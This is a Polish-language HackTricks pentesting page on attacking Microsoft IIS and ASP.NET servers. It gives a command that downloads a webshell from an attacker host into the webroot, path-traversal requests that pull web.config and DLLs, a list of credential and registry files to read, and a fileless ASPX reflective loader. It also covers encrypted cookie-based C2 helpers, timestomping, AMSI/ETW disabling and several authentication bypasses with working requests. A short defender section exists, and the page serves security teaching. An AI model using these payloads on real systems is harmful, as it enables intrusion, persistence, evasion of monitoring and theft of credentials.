IIS - Internet Information Services
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Rozszerzenia plików wykonywalnych do testów:
- asp
- aspx
- config
- php
Zapisalny webroot → ASPX command shell
Jeśli użytkownik/grupa o niskich uprawnieniach ma dostęp zapisu do C:\inetpub\wwwroot, możesz umieścić ASPX webshell i wykonywać polecenia systemu operacyjnego jako application pool identity (często posiadająca SeImpersonatePrivilege).
- Sprawdź ACL:
icacls C:\inetpub\wwwrootlubcacls .szukając(F)przy swoim użytkowniku/grupie. - Prześlij webshell wykonujący polecenia (np. fuzzdb/tennc
cmd.aspx) używając PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
- Wywołaj
/shell.aspxi uruchom polecenia; tożsamość zazwyczaj pokazujeiis apppool\defaultapppool. - Połącz to z Potato-family LPE (np. GodPotato/SigmaPotato), gdy token AppPool ma SeImpersonatePrivilege, aby pivotować do SYSTEM.
Ujawnienie wewnętrznego adresu IP
Na dowolnym serwerze IIS, na którym otrzymasz 302, możesz spróbować usunąć Host header i użyć HTTP/1.0; w odpowiedzi Location header może wskazać wewnętrzny adres IP:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odpowiedź ujawniająca wewnętrzny adres IP:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Wykonanie plików .config
Możesz przesłać pliki .config i użyć ich do wykonania code. Jednym ze sposobów jest dołączenie code na końcu pliku wewnątrz komentarza HTML: Download example here
More information and techniques to exploit this vulnerability here
IIS Discovery Bruteforce
Pobierz listę, którą utworzyłem:
Została utworzona przez scalanie zawartości następujących list:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Nie dodawaj rozszerzenia — pliki, które go potrzebują, mają je już.
Path Traversal
Leaking source code
Sprawdź pełny opis w: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
W skrócie, w folderach aplikacji znajduje się kilka plików web.config z odniesieniami do assemblyIdentity oraz namespaces. Dzięki tym informacjom można ustalić, gdzie znajdują się pliki wykonywalne i pobrać je.
Z pobranych Dlls można również znaleźć nowe namespaces, do których warto spróbować uzyskać dostęp i pobrać plik web.config, aby znaleźć kolejne namespaces i assemblyIdentity.
Również pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.
W aplikacjach .Net MVC plik web.config odgrywa kluczową rolę, określając każdy plik binarny, od którego zależy aplikacja, za pomocą XML-owych tagów “assemblyIdentity”.
Eksploracja plików binarnych
Przykład dostępu do pliku web.config pokazano poniżej:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
To żądanie ujawnia różne ustawienia i zależności, takie jak:
- EntityFramework wersja
- AppSettings dla webpages, walidacji po stronie klienta i JavaScript
- System.web konfiguracje dla uwierzytelniania i runtime
- System.webServer ustawienia modułów
- Runtime powiązania assembly dla licznych bibliotek takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc
Te ustawienia wskazują, że niektóre pliki, takie jak /bin/WebGrease.dll, znajdują się w folderze aplikacji /bin.
Pliki katalogu głównego
Pliki znalezione w katalogu głównym, takie jak /global.asax i /connectionstrings.config (który zawiera wrażliwe hasła), są niezbędne dla konfiguracji i działania aplikacji.
Przestrzenie nazw i Web.Config
Aplikacje MVC definiują również dodatkowe web.config files dla konkretnych przestrzeni nazw, aby uniknąć powtarzających się deklaracji w każdym pliku, jak pokazano w żądaniu pobrania innego web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Pobieranie plików DLL
Wzmianka o niestandardowej przestrzeni nazw sugeruje, że w katalogu /bin znajduje się biblioteka DLL o nazwie “WebApplication1”. Następnie pokazano żądanie pobrania WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
To sugeruje obecność innych niezbędnych DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.
W scenariuszu, w którym DLL importuje przestrzeń nazw nazwaną WebApplication1.Areas.Minded, atakujący może wywnioskować istnienie innych plików web.config w przewidywalnych ścieżkach, takich jak /area-name/Views/, zawierających specyficzne konfiguracje i odniesienia do innych DLL w folderze /bin. Na przykład żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw wskazujące na obecność innego DLL, WebApplication1.AdditionalFeatures.dll.
Typowe pliki
Źródło: here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
To oznacza, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host.
Aby uzyskać dostęp do strony, możesz sprawdzić serwowany SSL Certificate — być może znajdziesz w nim nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne brute force VHosts, aż znajdziesz właściwy.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Dwa częste wzorce ochrony sekretów w aplikacjach .NET hostowanych na IIS to:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) dla sekcji web.config takich jak
. - ASP.NET Core Data Protection key ring (zapisywany lokalnie) używany do ochrony sekretów aplikacji i cookies.
Jeśli masz dostęp do systemu plików lub interaktywny dostęp do serwera WWW, współlokowane klucze często pozwalają na odszyfrowanie.
- ASP.NET (Full Framework) – odszyfruj chronione sekcje konfiguracji za pomocą aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – sprawdź występowanie Data Protection key rings przechowywanych lokalnie (pliki XML/JSON) w lokalizacjach takich jak:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Z dostępnym key ring opertor działający w tożsamości aplikacji może zainicjować IDataProtector z tymi samymi purposes i wywołać Unprotect, aby odszyfrować przechowywane sekrety. Błędne konfiguracje, które przechowują key ring razem z plikami aplikacji, umożliwiają trywialne odszyfrowanie offline po kompromitacji hosta.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Zestaw narzędzi Phantom Taurus/NET-STAR przedstawia dojrzały wzorzec fileless persistence w IIS oraz post‑exploitation realizowane całkowicie wewnątrz w3wp.exe. Główne pomysły są szeroko przydatne do opracowywania własnego tradecraft oraz do detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: pojedyncza strona .aspx (np. OutlookEN.aspx) zawiera Base64‑encoded, opcjonalnie Gzip‑compressed .NET DLL. Po żądaniu trigger decoduje, dekompresuje i refleksyjnie ładuje ją do bieżącego AppDomain i wywołuje główny punkt wejścia (np. ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: zadania/wyniki są opakowywane jako Gzip → AES‑ECB/PKCS7 → Base64 i przesyłane za pomocą pozornie legitnych, obciążonych cookie żądań; operatorzy używali stabilnych delimiterów (np. “STAR”) do chunkingu.
- Reflective .NET execution: akceptuje dowolne managed assemblies jako Base64, ładuje przez Assembly.Load(byte[]) i przekazuje argumenty operatora dla szybkiej wymiany modułów bez zapisu na dysku.
- Operating in precompiled ASP.NET sites: dodawanie/zarządzanie pomocniczymi shells/backdoors nawet gdy serwis jest precompiled (np. dropper dodaje dynamiczne strony/handlery lub wykorzystuje config handlers) – eksponowane przez komendy takie jak bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: udostępnia akcję changeLastModified i timestomp przy wdrożeniu (włącznie z przyszłymi znacznikami kompilacji), by utrudnić DFIR.
- Optional AMSI/ETW pre‑disable for loaders: loader drugiego etapu może wyłączyć AMSI i ETW przed wywołaniem Assembly.Load, aby ograniczyć inspekcję payloadów działających w pamięci.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Packing/crypto narzędzia pomocnicze (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Przepływ Cookie/session i powierzchnia poleceń
- Session bootstrap i tasking są przesyłane za pomocą cookies, aby wtopić się w normalny ruch webowy.
- Zaobserwowane w praktyce polecenia obejmowały: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; oraz dynamiczne prymitywy wykonawcze code_self, code_pid, run_code do wykonywania w pamięci na .NET
Timestomping utility
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Wyłączenie AMSI/ETW inline przed Assembly.Load (wariant loader)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Zobacz AMSI/ETW bypass techniques w: windows-hardening/av-bypass.md
Notatki dla obrońców
- Pojedyncza, nietypowa strona ASPX z bardzo długimi Base64/Gzip blobami; żądania POST obciążone ciasteczkami.
- Niepodpisane managed modules wewnątrz w3wp.exe; ciągi takie jak Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Powtarzające się delimitery jak “STAR” w ruchu; niepasujące lub nawet przyszłe znaczniki czasu na ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Wiele aplikacji ASP.NET osadza Telerik UI for ASP.NET AJAX i udostępnia nieautoryzowany handler Telerik.Web.UI.WebResource.axd. Gdy endpoint cache Image Editor jest osiągalny (type=iec), parametry dkey=1 i prtype włączają unsafe reflection, które wykonuje dowolny publiczny konstruktor bez parametrów pre‑auth. Daje to uniwersalny prymityw DoS i może eskalować do pre‑auth RCE w aplikacjach z niebezpiecznymi AppDomain.AssemblyResolve handlers.
Zobacz szczegółowe techniki i PoC-y tutaj:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Stare podatności IIS warte sprawdzenia
Microsoft IIS znak tyldy “~” — Podatność/Funkcja: ujawnianie krótkich nazw plików/folderów
Możesz spróbować enumerować foldery i pliki wewnątrz każdego odnalezionego folderu (nawet jeśli wymaga Basic Authentication) używając tej techniki.
Główne ograniczenie tej techniki, jeśli serwer jest podatny, jest takie, że może znaleźć tylko pierwsze 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia plików.
Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner do przetestowania tej podatności: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Oryginalne badanie: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Możesz też użyć metasploit: use scanner/http/iis_shortname_scanner
Dobrym pomysłem, żeby znaleźć końcową nazwę znalezionych plików, jest zadać pytanie LLMom o opcje, tak jak w skrypcie https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Omijanie Basic Authentication (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php lub /admin::$INDEX_ALLOCATION/admin.php
Możesz spróbować połączyć tę podatność z poprzednią, by znaleźć nowe foldery i obejść uwierzytelnianie.
ASP.NET Trace.AXD enabled debugging
ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd.
Przechowuje bardzo szczegółowy log wszystkich żądań wysłanych do aplikacji przez pewien czas.
Te informacje zawierają adresy IP klientów, ID sesji, wszystkie ciasteczka żądań i odpowiedzi, fizyczne ścieżki, informacje o kodzie źródłowym, a potencjalnie nawet nazwy użytkowników i hasła.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH używa następujących informacji:
validationKey(string): klucz zakodowany szesnastkowo używany do walidacji podpisu.decryptionMethod(string): (domyślnie “AES”).decryptionIV(string): wektor inicjalizacyjny zakodowany w hexie (domyślnie wektor zer).decryptionKey(string): klucz zakodowany w hexie używany do deszyfrowania.
Jednak niektórzy używają domyślnych wartości tych parametrów i jako cookie używają adresu e-mail użytkownika. W związku z tym, jeśli znajdziesz serwis używający tej samej platformy, który używa ciasteczka ASPXAUTH i utworzysz użytkownika z adresem e-mail użytkownika, którego chcesz podszyć się na serwerze będącym celem, możesz być w stanie użyć ciasteczka z drugiego serwera na pierwszym i podszyć się pod użytkownika.
Ten atak zadziałał w tym writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: Błąd w kodzie nie sprawdzał poprawnie podanego przez użytkownika hasła, więc atakujący, którego hash hasła trafia na klucz, który już znajduje się w cache, będzie w stanie zalogować się jako ten użytkownik.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Źródła
- 0xdf – HTB Job (IIS write → ASPX shell → GodPotato)
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


